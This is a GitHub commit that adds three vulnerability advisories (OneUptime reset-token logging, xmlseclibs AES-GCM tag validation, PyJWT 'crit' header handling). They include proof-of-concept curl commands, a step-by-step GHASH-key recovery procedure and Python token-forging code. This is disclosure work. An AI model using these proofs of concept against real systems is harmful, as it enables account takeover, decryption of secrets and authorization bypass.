Skip to content

Commit 020382a

Browse files
1 parent fc1cbe2 commit 020382a

5 files changed

Lines changed: 339 additions & 0 deletions

File tree

Lines changed: 61 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,61 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-4524-cj9j-g4fj",
4+
"modified": "2026-03-13T20:05:13Z",
5+
"published": "2026-03-13T20:05:12Z",
6+
"aliases": [
7+
"CVE-2026-32598"
8+
],
9+
"summary": "OneUptime: Password Reset Token Logged at INFO Level",
10+
"details": "### Summary\n\nThe password reset flow logs the complete password reset URL — containing the plaintext reset token — at INFO log level, which is enabled by default in production. Anyone with access to application logs (log aggregation, Docker logs, Kubernetes pod logs) can intercept reset tokens and perform account takeover on any user.\n\n### Details\n\n**Vulnerable code — `App/FeatureSet/Identity/API/Authentication.ts` lines 370-371:**\n```typescript\nlogger.info(\"User forgot password: \" + user.email?.toString());\nlogger.info(\"Reset Password URL: \" + tokenVerifyUrl);\n```\n\nThe `tokenVerifyUrl` is a complete URL like `https://app.oneuptime.com/accounts/reset-password/<plaintext-token>`. This is logged at INFO level, which is enabled by default in production and persisted to stdout, log files, and any configured log aggregation systems.\n\n**Additionally — login credentials logged at DEBUG level (line 909):**\n```typescript\nlogger.debug(\"Login request data: \" + JSON.stringify(req.body, null, 2));\n```\n\nThe entire login request body (including cleartext password) is logged at DEBUG level. While DEBUG is typically disabled in production, it is commonly enabled during incident troubleshooting.\n\nNo existing CVEs cover sensitive data exposure in logging for OneUptime. CVE-2026-30956 (GHSA-r5v6-2599-9g3m) leaked `resetPasswordToken` from the database via multi-tenant header bypass — this finding is different (token leaked via application logs).\n\n### PoC\n\n**Environment:** OneUptime v10.0.23 via `docker compose up` (default configuration)\n\n```bash\n# Step 1 — Trigger forgot-password for target user\ncurl -s -X POST http://TARGET:8080/api/identity/forgot-password \\\n -H 'Content-Type: application/json' \\\n -d '{\"data\": {\"email\": \"test@example.com\"}}'\n# Response: {}\n\n# Step 2 — Read application logs to extract the reset token\ndocker compose logs app --tail 5\n# Output:\n# app-1 | User forgot password: test@example.com\n# app-1 | Reset Password URL: http://localhost/accounts/reset-password/20771cc6-860a-4b9b-bb9c-09eff67de4ef\n\n# Step 3 — Use the extracted token to reset the victim's password\ncurl -s -X POST http://TARGET:8080/api/identity/reset-password \\\n -H 'Content-Type: application/json' \\\n -d '{\"data\": {\"token\": \"20771cc6-860a-4b9b-bb9c-09eff67de4ef\", \"password\": \"NewPassword123!\"}}'\n```\n\n**Tested and confirmed on 2026-03-12 against `oneuptime/app:release` (APP_VERSION=10.0.23).** Full password reset token `20771cc6-860a-4b9b-bb9c-09eff67de4ef` visible in INFO-level logs.\n\n**Attack surface for log access:** ELK/Elasticsearch dashboards (often misconfigured with default credentials), CloudWatch/Datadog/Splunk/Grafana Loki, `docker logs` / `kubectl logs`, shared log volumes, CDN/proxy access logs.\n\n### Impact\n\nAny user's account can be taken over by anyone with read access to application logs:\n\n- **Account takeover:** Every password reset token is logged in plaintext, creating a persistent trail of sensitive tokens\n- **Exposure scale:** This logs EVERY password reset request — not a one-off, but systematic\n- **Cascading impact:** Combined with differential error responses in forgot-password (user enumeration), an attacker can systematically target any user\n- Organizations that aggregate OneUptime logs into shared logging infrastructure expose all password reset tokens to anyone with log reader access",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "oneuptime"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "10.0.23"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/OneUptime/oneuptime/security/advisories/GHSA-4524-cj9j-g4fj"
42+
},
43+
{
44+
"type": "PACKAGE",
45+
"url": "https://github.com/OneUptime/oneuptime"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/OneUptime/oneuptime/releases/tag/10.0.23"
50+
}
51+
],
52+
"database_specific": {
53+
"cwe_ids": [
54+
"CWE-532"
55+
],
56+
"severity": "MODERATE",
57+
"github_reviewed": true,
58+
"github_reviewed_at": "2026-03-13T20:05:12Z",
59+
"nvd_published_at": null
60+
}
61+
}
Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-4v26-v6cg-g6f9",
4+
"modified": "2026-03-13T20:04:21Z",
5+
"published": "2026-03-13T20:04:21Z",
6+
"aliases": [
7+
"CVE-2026-32313"
8+
],
9+
"summary": "xmlseclibs: Missing AES-GCM Authentication Tag Validation on Encrypted Nodes Allows for Unauthorized Decryption",
10+
"details": "### Summary\nXML nodes encrypted with either aes-128-gcm, aes-192-gcm, or aes-256-gcm lack validation of the authentication tag length.\nAn attacker can use this to brute-force an authentication tag, recover the [GHASH key](https://en.wikipedia.org/wiki/Galois/Counter_Mode#:~:text=%29%20is%20the-,hash%20key,-%2C%20a%20string%20of), and decrypt the encrypted nodes.\nIt also allows to forge arbitrary ciphertexts without knowing the encryption key.\n\n### Details\nWhen decrypting with either aes-128-gcm, aes-192-gcm, or aes-256-gcm [here](https://github.com/robrichards/xmlseclibs/blob/2bdfd742624d739dfadbd415f00181b4a77aaf07/src/XMLSecurityKey.php#L467-L479), the `$authTag` is set from a `substr()`, but never has its length validated (it should be validated with something like `strlen($authTag) == self::AUTHTAG_LENGTH`).\nFor that reason, a shorter than expected data blob will allow for the `$authTag` to have as short a tag as only one byte (see [PHP's documentation](https://www.php.net/manual/en/function.openssl-decrypt.php#:~:text=The%20length%20of%20the%20tag%20is%20not%20checked%20by%20the%20function.%20It%20is%20the%20caller%27s%20responsibility%20to%20ensure%20that%20the%20length%20of%20the%20tag%20matches%20the%20length%20of%20the%20tag%20retrieved%20when%20openssl_encrypt()%20has%20been%20called.%20Otherwise%20the%20decryption%20may%20succeed%20if%20the%20given%20tag%20only%20matches%20the%20start%20of%20the%20proper%20tag.)).\n\nSee this example:\n```php\nfunction test($data) {\n $ivSize = 12;\n $tagSize = 16;\n\n $iv = substr($data, 0, $ivSize);\n $data = substr($data, $ivSize);\n $offset = 0 - $tagSize;\n $tag = substr($data, $offset);\n $ct = substr($data, 0, $offset);\n\n echo 'IV: \"' . $iv . '\"' . PHP_EOL;\n echo 'Tag: \"' . $tag . '\"' . PHP_EOL;\n echo 'CT: \"' . $ct . '\"' . PHP_EOL;\n}\n\n/* Outputs:\nphp > test('myNonceNoncet');\nIV: \"myNonceNonce\"\nTag: \"t\"\nCT: \"\"\nphp > test('myNonceNonceta');\nIV: \"myNonceNonce\"\nTag: \"ta\"\nCT: \"\"\nphp > test('myNonceNoncetag');\nIV: \"myNonceNonce\"\nTag: \"tag\"\nCT: \"\"\n*/\n```\n\nWith a legit ciphertext in hand, this is enough to recover the [GHASH key](https://en.wikipedia.org/wiki/Galois/Counter_Mode#:~:text=%29%20is%20the-,hash%20key,-%2C%20a%20string%20of).\nWith that key, any authenticated tags can be computed offline which allows for decryption of the ciphertext and forgery of arbitrary ciphertexts.\n\n### PoC\n1. Setup a server expecting XML with an encrypted assertion\n - Run this php script [poc.php](https://github.com/user-attachments/files/24426600/poc.php.txt) with `php -S 127.0.0.1:8888` (taken from [this saml test case](https://github.com/robrichards/xmlseclibs/blob/69fd63080bc47a8d51bc101c30b7cb756862d1d6/tests/saml/saml-decrypt.phpt#L62))\n - The script expects this private key: [sp-private-key.pem.](https://github.com/user-attachments/files/24426620/sp-private-key.pem.txt)\n2. Create an XML document with an encrypted assertion (encrypted with `aes-256-gcm`)\n - Here is the `SAMLResponse` used in the video below: [saml_response.txt](https://github.com/user-attachments/files/24426638/saml_response.txt)\n\n**Note:** The steps from 3 to 6 are implemented in this exploit script: [nonce_reuse_with_fmt_val_oracle.py](https://github.com/user-attachments/files/24426645/nonce_reuse_with_fmt_val_oracle.py).\nYou can run the script with `sage -python nonce_reuse_with_fmt_val_oracle.py -s 'url-encoded_and_base64-encoded_samlresponse'`\n\n3. Take the content of the `<xenc:CipherValue>` node and apply the following modifications\n 1. Base64-decode the content\n 2. Take the first 12 bytes and save them as the nonce\n 3. Take the last 16 bytes and save them as the tag\n 4. Now brute-force the tag of an empty ciphertext\n 1. Loop through all 256 possible byte values (let's call that `byte_tag_attempt`)\n 2. Concatenate together the nonce and the `byte_tag_attempt`\n 3. Base64-encode the result\n 4. Replace the content of the `<xenc:CipherValue>` node with this result\n 5. On http errors 500, we learn that the tag is valid\n 6. Do the same for the next byte of the tag until all 16 bytes have been brute-forced\n4. With this new tag and the empty ciphertext, compute the [GHASH key](https://en.wikipedia.org/wiki/Galois/Counter_Mode#:~:text=%29%20is%20the-,hash%20key,-%2C%20a%20string%20of) (the way to do this has been described in this [blog post](https://frereit.de/aes_gcm/))\n5. Use this [GHASH key](https://en.wikipedia.org/wiki/Galois/Counter_Mode#:~:text=%29%20is%20the-,hash%20key,-%2C%20a%20string%20of) to compute authentication tags offline for arbitrary ciphertexts\n6. Decryption is done by observing XML parsing errors that occur after modifying the ciphertext, those can be seen as http errors 500\n\n[poc.webm](https://github.com/user-attachments/assets/2f6e4a7e-4384-4350-b423-7ddd77aa9152)\n\n\n### Impact\nThe general impact is:\n- XML nodes encrypted with AES-GCM can be decrypted by observing parsing differences\n- XML nodes encrypted with AES-GCM can be modified to decrypt to an arbitrary value\n- The GCM internal [GHASH key](https://en.wikipedia.org/wiki/Galois/Counter_Mode#:~:text=%29%20is%20the-,hash%20key,-%2C%20a%20string%20of) can be recovered\n\nIn cases where the encryption key is embedded in the XML and is encrypted with the Service Provider's public key (like often done with SAML), the last two items don't have a big impact.\nThis is because: \n- With the Service Provider's public key, an arbitrary ciphertext can be created with a known symmetric key\n- The symmetric keys are generated on the fly every time the IdP creates a new `SAMLResponse`\n\nIn any case, secrets that are embedded in the XML, whether coming from an IdP, or from another scheme, can be decrypted.\n\n**Important:** If static symmetric keys are used, as the [GHASH key](https://en.wikipedia.org/wiki/Galois/Counter_Mode#:~:text=%29%20is%20the-,hash%20key,-%2C%20a%20string%20of) could have leaked, you must rotate those keys.\n\n### References\nFor additional information on the issue, you can refer to this [blog post](https://sideni.xyz/posts/exploiting_openssl_api/) about the OpenSSL issue and how it can be exploited.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Packagist",
21+
"name": "robrichards/xmlseclibs"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "3.1.5"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/robrichards/xmlseclibs/security/advisories/GHSA-4v26-v6cg-g6f9"
42+
},
43+
{
44+
"type": "WEB",
45+
"url": "https://github.com/robrichards/xmlseclibs/commit/03062be78178cbb5e8f605cd255dc32a14981f92"
46+
},
47+
{
48+
"type": "PACKAGE",
49+
"url": "https://github.com/robrichards/xmlseclibs"
50+
},
51+
{
52+
"type": "WEB",
53+
"url": "https://github.com/robrichards/xmlseclibs/releases/tag/3.1.5"
54+
}
55+
],
56+
"database_specific": {
57+
"cwe_ids": [
58+
"CWE-354"
59+
],
60+
"severity": "HIGH",
61+
"github_reviewed": true,
62+
"github_reviewed_at": "2026-03-13T20:04:21Z",
63+
"nvd_published_at": null
64+
}
65+
}
Lines changed: 61 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,61 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-752w-5fwx-jx9f",
4+
"modified": "2026-03-13T20:05:04Z",
5+
"published": "2026-03-13T20:05:04Z",
6+
"aliases": [
7+
"CVE-2026-32597"
8+
],
9+
"summary": "PyJWT accepts unknown `crit` header extensions",
10+
"details": "## Summary\n\nPyJWT does not validate the `crit` (Critical) Header Parameter defined in\nRFC 7515 §4.1.11. When a JWS token contains a `crit` array listing\nextensions that PyJWT does not understand, the library accepts the token\ninstead of rejecting it. This violates the **MUST** requirement in the RFC.\n\nThis is the same class of vulnerability as CVE-2025-59420 (Authlib),\nwhich received CVSS 7.5 (HIGH).\n\n---\n\n## RFC Requirement\n\nRFC 7515 §4.1.11:\n\n> The \"crit\" (Critical) Header Parameter indicates that extensions to this\n> specification and/or [JWA] are being used that **MUST** be understood and\n> processed. [...] If any of the listed extension Header Parameters are\n> **not understood and supported** by the recipient, then the **JWS is invalid**.\n\n---\n\n## Proof of Concept\n\n```python\nimport jwt # PyJWT 2.8.0\nimport hmac, hashlib, base64, json\n\n# Construct token with unknown critical extension\nheader = {\"alg\": \"HS256\", \"crit\": [\"x-custom-policy\"], \"x-custom-policy\": \"require-mfa\"}\npayload = {\"sub\": \"attacker\", \"role\": \"admin\"}\n\ndef b64url(data):\n return base64.urlsafe_b64encode(data).rstrip(b\"=\").decode()\n\nh = b64url(json.dumps(header, separators=(\",\", \":\")).encode())\np = b64url(json.dumps(payload, separators=(\",\", \":\")).encode())\nsig = b64url(hmac.new(b\"secret\", f\"{h}.{p}\".encode(), hashlib.sha256).digest())\ntoken = f\"{h}.{p}.{sig}\"\n\n# Should REJECT — x-custom-policy is not understood by PyJWT\ntry:\n result = jwt.decode(token, \"secret\", algorithms=[\"HS256\"])\n print(f\"ACCEPTED: {result}\")\n # Output: ACCEPTED: {'sub': 'attacker', 'role': 'admin'}\nexcept Exception as e:\n print(f\"REJECTED: {e}\")\n```\n\n**Expected:** `jwt.exceptions.InvalidTokenError: Unsupported critical extension: x-custom-policy`\n**Actual:** Token accepted, payload returned.\n\n### Comparison with RFC-compliant library\n\n```python\n# jwcrypto — correctly rejects\nfrom jwcrypto import jwt as jw_jwt, jwk\nkey = jwk.JWK(kty=\"oct\", k=b64url(b\"secret\"))\njw_jwt.JWT(jwt=token, key=key, algs=[\"HS256\"])\n# raises: InvalidJWSObject('Unknown critical header: \"x-custom-policy\"')\n```\n\n---\n\n## Impact\n\n- **Split-brain verification** in mixed-library deployments (e.g., API\n gateway using jwcrypto rejects, backend using PyJWT accepts)\n- **Security policy bypass** when `crit` carries enforcement semantics\n (MFA, token binding, scope restrictions)\n- **Token binding bypass** — RFC 7800 `cnf` (Proof-of-Possession) can be\n silently ignored\n- See CVE-2025-59420 for full impact analysis\n\n---\n\n## Suggested Fix\n\nIn `jwt/api_jwt.py`, add validation in `_validate_headers()` or\n`decode()`:\n\n```python\n_SUPPORTED_CRIT = {\"b64\"} # Add extensions PyJWT actually supports\n\ndef _validate_crit(self, headers: dict) -> None:\n crit = headers.get(\"crit\")\n if crit is None:\n return\n if not isinstance(crit, list) or len(crit) == 0:\n raise InvalidTokenError(\"crit must be a non-empty array\")\n for ext in crit:\n if ext not in self._SUPPORTED_CRIT:\n raise InvalidTokenError(f\"Unsupported critical extension: {ext}\")\n if ext not in headers:\n raise InvalidTokenError(f\"Critical extension {ext} not in header\")\n```\n\n---\n\n## CWE\n\n- CWE-345: Insufficient Verification of Data Authenticity\n- CWE-863: Incorrect Authorization\n\n## References\n\n- [RFC 7515 §4.1.11](https://www.rfc-editor.org/rfc/rfc7515.html#section-4.1.11)\n- [CVE-2025-59420 — Authlib crit bypass (CVSS 7.5)](https://osv.dev/vulnerability/GHSA-9ggr-2464-2j32)\n- [RFC 7800 — Proof-of-Possession Key Semantics](https://www.rfc-editor.org/rfc/rfc7800)",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "PyJWT"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "2.12.0"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 2.11.0"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-752w-5fwx-jx9f"
45+
},
46+
{
47+
"type": "PACKAGE",
48+
"url": "https://github.com/jpadilla/pyjwt"
49+
}
50+
],
51+
"database_specific": {
52+
"cwe_ids": [
53+
"CWE-345",
54+
"CWE-863"
55+
],
56+
"severity": "HIGH",
57+
"github_reviewed": true,
58+
"github_reviewed_at": "2026-03-13T20:05:04Z",
59+
"nvd_published_at": null
60+
}
61+
}

0 commit comments

Comments
 (0)